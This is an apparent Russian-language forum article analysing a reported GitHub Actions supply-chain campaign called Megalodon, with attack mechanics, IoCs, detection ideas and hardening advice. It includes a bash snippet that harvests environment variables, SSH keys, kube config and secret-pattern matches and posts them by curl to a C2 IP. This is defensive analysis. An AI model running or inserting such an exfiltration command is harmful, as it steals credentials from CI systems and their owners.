Статья Атака на цепочку поставок GitHub: разбор кампании Megalodon и защита CI/CD-пайплайнов

Рабочий стол аналитика при дневном свете: монитор с выделенными строками коммита и заголовком MEGALODON, рядом распечатка CI/CD-схемы с обведённым узлом публикации пакета.


Дисклеймер: Кампания "Megalodon" описана на основе публикаций StepSecurity и SafeDep, которые на момент написания не были независимо верифицированы и не подтверждены NVD, CISA или иными авторитетными источниками. Все IoC (IP-адреса, email, SHA коммитов, названия затронутых организаций, даты, объёмы) приводятся "как заявлено" и могут быть неточны. Верифицируйте эти данные самостоятельно перед использованием в детекции или реагировании.

В мае 2026 года StepSecurity и SafeDep предположительно зафиксировали кампанию Megalodon - около 5700 вредоносных коммитов в тысячи публичных репозиториев GitHub. По тем же данным, один из отравленных проектов привёл к публикации заражённых npm-пакетов. Причём npm-аккаунт мейнтейнера никто не ломал: разработчик сам выполнил npm publish из отравленного исходника. Это не компрометация учётки - это отравление доверия к source tree.

Бизнес-логика: почему CI-раннер дороже корпоративной почты​

Прежде чем копать технику - зачем атакующему вообще лезть в CI/CD? CI-раннер - машина, на которой одновременно лежат AWS access keys, GCP OAuth tokens, Azure IMDS credentials, токены для публикации в npm/PyPI/Docker Hub, SSH-ключи, Kubernetes-конфиги и GitHub Actions OIDC-токены. Один успешный запуск вредоносного workflow даёт больше, чем месяц фишинговой кампании. По данным IBM X-Force Threat Intelligence Index 2025, инфостилеры - самый распространённый тип malware в 2024 году (32% от всех обнаруженных), и CI-среда для них - идеальная кормушка. Подробнее - в нашем материале про атаки на цепочку поставок.

Цепочка атаки ложится на несколько техник MITRE ATT&CK: получение доступа через украденные credentials - T1078 (Valid Accounts) и T1552 (Unsecured Credentials), инъекция в CI-пайплайн и downstream-распространение через заражённый npm-пакет - T1195.002 (Compromise Software Supply Chain) (тактика Initial Access). По CWE - CWE-506 (Embedded Malicious Code), по OWASP - A08 - Software and Data Integrity Failures. Злоумышленник не эксплуатирует уязвимость в GitHub. Он действует в рамках штатной модели разрешений (T1078), используя избыточные привилегии и отсутствие обязательного code review на workflow-файлах. По документам - всё легитимно. На практике - полный доступ к инфраструктуре.

Предшественник: CVE-2025-30066 и компрометация tj-actions/changed-files​

1783889296446.webp

Megalodon не появился из ниоткуда. В марте 2025 года широко используемый GitHub Action tj-actions/changed-files был скомпрометирован через подмену мутабельных тегов версий - CVE-2025-30066, внесённый в каталог CISA KEV как активно эксплуатируемая уязвимость. По отчёту CSA Labs, инцидент затронул от сотен до десятков тысяч downstream-репозиториев.

Механика простая до неприличия. Атакующий переписал теги v1-v45.0.7, указав их на коммит 0e58ed8 с вредоносным updateFeatures-кодом. Каждый workflow, ссылавшийся на любой из этих тегов, при следующем запуске скачивал и выполнял отравленную версию action. Уязвимости присвоен CVSS 8.6 - HIGH (не Critical; порог Critical - 9.0), вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N. В CISA KEV попала из-за факта активной эксплуатации. Корень проблемы - одно свойство Git: мутабельный тег - указатель, а не фиксированный адрес. Переназначить его может любой с write-доступом.
https://nvd.nist.gov/vuln/detail/CVE-2025-30066
CVE-2025-30066 задокументирован, разобран и сопровождён руководствами по митигации. Megalodon через четырнадцать месяцев показал: скорость принятия рекомендаций экосистемой критически отстаёт от скорости эволюции атак.

Механика Megalodon: как работает supply chain attack через GitHub Actions​

1783889314096.webp

Техника: Direct Poisoned Pipeline Execution (d-PPE)​

Megalodon - учебный пример Direct Poisoned Pipeline Execution (d-PPE). Атакующий с write-доступом к репозиторию напрямую правит workflow-файлы в .github/workflows/. CI-система выполняет вредоносные команды при следующем запуске пайплайна. Никакой уязвимости в GitHub не эксплуатируется - атакующий работает внутри штатной модели разрешений.

Ключевое отличие от indirect PPE (i-PPE): в d-PPE атакующий пушит напрямую в default branch без pull request. Branch protection с обязательным ревью - основной структурный контроль, который превращает d-PPE в значительно более сложную i-PPE. Там атакующему уже нужно обманывать ревьюера - совсем другая история.

Хронология и маскировка​

По публикациям SafeDep, кампания была активна несколько часов 18 мая 2026 года. Атакующие использовали одноразовые GitHub-аккаунты с рандомизированными логинами и подделывали авторские данные коммитов. Поля автора содержали правдоподобные имена автоматизации: build-bot, auto-ci, ci-bot, pipeline-bot - с адресами build-bot@github-ci.com и ci-pipeline@actions-bot.com. Сообщения коммитов следовали Conventional Commits: ci: add build optimization step, chore: optimize pipeline runtime.

При беглом просмотре истории в высоконагруженном репозитории такие коммиты выглядят как рутина. Именно на это и расчёт.

Откуда write-доступ​

По данным StepSecurity, доступ к целевым репозиториям получен через скомпрометированные Personal Access Tokens (PAT) и deploy keys. Адрес build-bot@github-ci.com фигурировал в телеметрии инфостилера как скомпрометированный хост. Цепочка infostealer -> credential harvesting -> pipeline poisoning - узнаваемый паттерн эскалации в атаках на цепочки поставок ПО. Ничего нового, но работает стабильно.

Два варианта полезной нагрузки: заражение репозиториев GitHub​

StepSecurity и SafeDep идентифицировали два варианта внедрённых workflow с разной стратегией активации.

SysDiag - массовый сбор секретов​

Первый вариант (поле name: SysDiag в YAML) создавал новый workflow-файл с триггерами on: [push, pull_request]. Любая активность в репозитории запускала payload - максимальная вероятность эксфильтрации до обнаружения. Предположительно использовался против большинства затронутых репозиториев. Грубо, зато эффективно.

Optimize-Build - спящий бэкдор​

Второй вариант (поле name: Optimize-Build) использовал триггер workflow_dispatch. Атакующий мог активировать бэкдор позже через GitHub API с помощью украденных токенов. Этот триггер освобождён от GitHub anti-recursion rules - даже после зачистки массового варианта спящие Optimize-Build workflow оставались в репозиториях. Хитрее, чем SysDiag, и куда опаснее в долгосрочной перспективе.

Состав payload​

Оба варианта содержали base64-кодированный bash-payload. По данным StepSecurity, при исполнении он собирал свыше 30 категорий секретов: полный дамп переменных окружения CI, /proc/*/environ всех процессов, AWS access keys и session tokens, GCP OAuth tokens, Azure IMDS credentials, SSH private keys, .npmrc tokens, ~/.kube/config, HashiCorp Vault tokens, GitHub Actions OIDC-токены и результаты grep по workspace на паттерны API_KEY, SECRET, TOKEN, PASSWORD, PRIVATE_KEY.
Bash:
# Иллюстративный псевдокод (не рабочий payload - в реальности используются точечные фильтры)
DATA=$(env; cat /proc/1/environ 2>/dev/null; cat ~/.ssh/id_* 2>/dev/null; cat ~/.kube/config 2>/dev/null; grep -rE "(API_KEY|SECRET|TOKEN|PASSWORD)" --exclude-dir=node_modules --exclude-dir=.git --include='*.env' --include='*.yml' --include='*.json' . 2>/dev/null | head -c 1048576)
echo "$DATA" | gzip | curl -sk -X POST https://216.126.225.129:8443/collect -H "Content-Type: application/octet-stream" --data-binary @-
Флаг -k отключает проверку TLS-сертификата - типичный приём для payload, обращающихся к C2 по прямому IP без валидного сертификата. Для CI-раннера это обычный outbound HTTPS-запрос. Процесс завершается чисто. На раннерах с большим workspace (монорепо с node_modules) нефильтрованный grep создаст заметную IO-нагрузку - реальные кампании используют более точечные фильтры. Большинство CI-сред оставляют исходящий трафик неограниченным, так что bypass firewall не нужен.

Kill chain: от инфостилера до отравления npm-пакета

Полная цепочка атаки Megalodon:
  1. Credential Harvesting - инфостилер на машине разработчика крадёт GitHub PAT / deploy keys
  2. Repository Write Access - атакующий аутентифицируется и пушит в .github/workflows/
  3. d-PPE Injection - вредоносный workflow добавляется или заменяет существующий
  4. CI Execution - при следующем push/PR раннер выполняет payload
  5. Secret Exfiltration - credentials уходят на C2 (216.126.225.129:8443)
  6. Downstream Propagation - из отравленного репозитория публикуется легитимный пакет
Шестой пункт - самый болезненный. По публикациям SafeDep, npm-пакет @tiledesk/tiledesk-server ряда версий был предположительно опубликован из отравленного репозитория легитимным мейнтейнером. Атакующий не трогал npm-аккаунт - разработчик сам запустил npm publish из заражённого source tree. Бэкдор распространился на downstream npm-потребителей через штатный npm install.

Среди предположительно затронутых организаций, по данным StepSecurity: Tiledesk, Black-Iron-Project, WISE-Community. SafeDep опубликовал файл megalodon-campaign-commits.csv с перечнем коммитов.

Индикаторы компрометации и детекция​

IoC-таблица (не верифицирована - по данным StepSecurity/SafeDep)​

ТипЗначениеКонтекст
C2 IP216.126.225.129:8443 Эксфильтрация
Emailbuild-bot@github-ci.com 2878 коммитов
Emailci-pipeline@actions-bot.com 2841 коммит
Workflow nameSysDiagМассовый вариант
Workflow nameOptimize-BuildЦелевой вариант
Commit SHA[не верифицирован - см. первоисточник megalodon-campaign-commits.csv]Якорный коммит Tiledesk
URLhXXp://216.126.225.129:8443?h=megalodon&l=gh_dump C2 callback

Поиск по собственным репозиториям​

GitHub code search позволяет быстро проверить охват:
  • name: SysDiag в workflow-файлах - массовый вариант
  • name: Optimize-Build в workflow-файлах - целевой вариант
  • Коммиты от build-bot@github-ci.com за 18 мая 2026

Sigma-правила​

В SigmaHQ есть правила категории file_event под конкретные supply-chain инциденты (LiteLLM/TeamPCP, TanStack): file_event_lnx_teampcp_litellm_supply_chain_attack_indicators.yml и file_event_lnx_malware_tanstack_supply_chain.yml. Они детектят пост-эксплуатационные артефакты на Linux-хостах с file-event телеметрией (auditd/Falco). Но - и тут нюанс - на GitHub-hosted ephemeral runners их применимость близка к нулю: эфемерные VM не имеют persistent file-event коллектора.

Эти правила не покрывают этап инъекции - push вредоносного workflow в репозиторий. Для этого нужны правила на уровне GitHub Audit Log (git.push, workflows.created), выгружаемые в SIEM. Дополнительно стоит писать правила на: outbound HTTPS-соединения CI-раннеров к нехарактерным IP, чтение /proc/[I]/environ из контекста CI-джобы, появление base64-кодированных payload в .github/workflows/[/I].yml.

Защита цепочки поставок ПО: чеклист для hardening GitHub Actions​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Контроли соответствуют D3FEND countermeasures: Software Inventory (D3-SWI) и Asset Vulnerability Enumeration (D3-AVE) для мониторинга зависимостей, Software Update (D3-SU) для поддержания актуальных версий actions.



Megalodon вскрыл проблему, о которой все знают, но которую не могут заставить себя решить: workflow-файл - не конфигурация, а исполняемый код с привилегиями уровня инфраструктуры. Большинство организаций ревьюят pull request в src/, прогоняют SAST на application code и полностью игнорируют изменения в .github/workflows/. Pipeline YAML получает ровно столько внимания, сколько README.md - ноль. CVE-2025-30066 это показал, Megalodon подтвердил на тысячах репозиториев.

Через три месяца появится следующая кампания. Если единственный контроль - обещание "мы теперь внимательнее смотрим коммиты" - результат будет тем же. SHA-пиннинг, branch protection, minimum permissions - три строчки в настройках репозитория, которые закрывают основные векторы d-PPE из этого разбора. Всё остальное - защита в глубину: важная, но вторичная. На одном из проектов я потратил два дня на миграцию 140 workflow с тегов на SHA-хеши и перенастройку OIDC - и это был самый высокий ROI по часам работы в моей практике. Если хочется разобрать подобную цепочку в контролируемой среде - на HackerLab.pro (https://hackerlab.pro) есть категории web и ci/cd, где можно потрогать pipeline-атаки без риска для прода.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab